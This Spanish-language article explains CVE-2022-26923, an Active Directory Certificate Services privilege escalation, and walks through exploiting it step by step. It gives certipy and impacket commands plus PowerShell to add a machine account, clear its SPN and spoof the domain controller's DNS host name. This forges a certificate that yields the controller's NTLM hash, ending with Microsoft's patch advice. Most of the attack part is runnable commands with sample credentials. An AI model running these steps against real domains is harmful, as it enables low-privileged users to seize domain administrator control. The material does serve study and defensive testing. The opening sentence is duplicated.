
La vulnerabilidad permitía a un usuario con pocos privilegios escalar privilegios a administrador de dominio en un entorno predeterminado de Active Directory con el rol de servidor de Servicios de Certificados de Active Directory (AD CS) instalado.
La vulnerabilidad permitía a un usuario con pocos privilegios escalar privilegios a administrador de dominio en un entorno predeterminado de Active Directory con el rol de servidor de Servicios de Certificados de Active Directory (AD CS) instalado.
Un exploit fue desarrollado por Oliver Lyak (ly4k_) en Python y fue publicado antes y no después del aviso. Se declara como prueba de concepto. El exploit está disponible para descarga en research.ifcr.dk.
Fuente :
La falla de escalada de privilegios de dominio de Active Directory recién revelada aún no ha sido explotada en la naturaleza, pero su alta puntuación CVSS de 8.8 apunta a un alto riesgo que representa para los sistemas comprometidos, permitiendo a los atacantes abusar de los problemas de certificados. CVE-2022–26923 permite manipular el atributo DnsHostName, que especifica el nombre del equipo tal como está registrado en DNS, y luego permite a un adversario obtener un certificado de los Servicios de Certificados de AD, lo que potencialmente conduce a la elevación de privilegios.
- Usuario: user_test
- Contraseña: Password123#
- Dominio: my.domain.com
Para reproducir debes:
- Tener impacket y certipy instalados en la máquina atacante.
- https://github.com/SecureAuthCorp/impacket
- https://github.com/ly4k/Certipy
- Haber comprometido un usuario con pocos privilegios.
- Un sistema es vulnerable solo si los Servicios de Certificados de Active Directory se están ejecutando en el dominio.
Comencemos generando un certificado para nuestro usuario de AD con pocos privilegios (Usuario=user_test Contraseña=Password123#) usando la plantilla de certificado User:
certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
Verifiquemos que el certificado es válido y que puede usarse para autenticación Kerberos mediante Certipy:
certipy auth -pfx user_test.pfx
Agregando una computadora virtual al dominio con Impacket:
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
# my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
# method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
# computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
# computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
Generemos un certificado para la nueva computadora que creamos. Para usar la cuenta de máquina de dicha computadora, debes agregar un "$" al final del nombre:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
En la máquina comprometida, actualizando los atributos de DNS Hostname y SPN:
PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
Eliminar nuestro atributo SPN actual:
PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
Intentar establecer el atributo de nombre de host DNS al del DC:
PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
En la máquina atacante, forjando un Certificado Malicioso:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
Verificar que este certificado funciona y devolverá el hash NTLM:
certipy auth -pfx hostname.pfx
Para la mitigación y medidas de protección de CVE-2022–26923, Microsoft recomienda encarecidamente actualizar todos los servidores que ejecutan Servicios de Certificados de AD y controladores de dominio de Windows que operan autenticación basada en certificados a la última versión del 10 de mayo.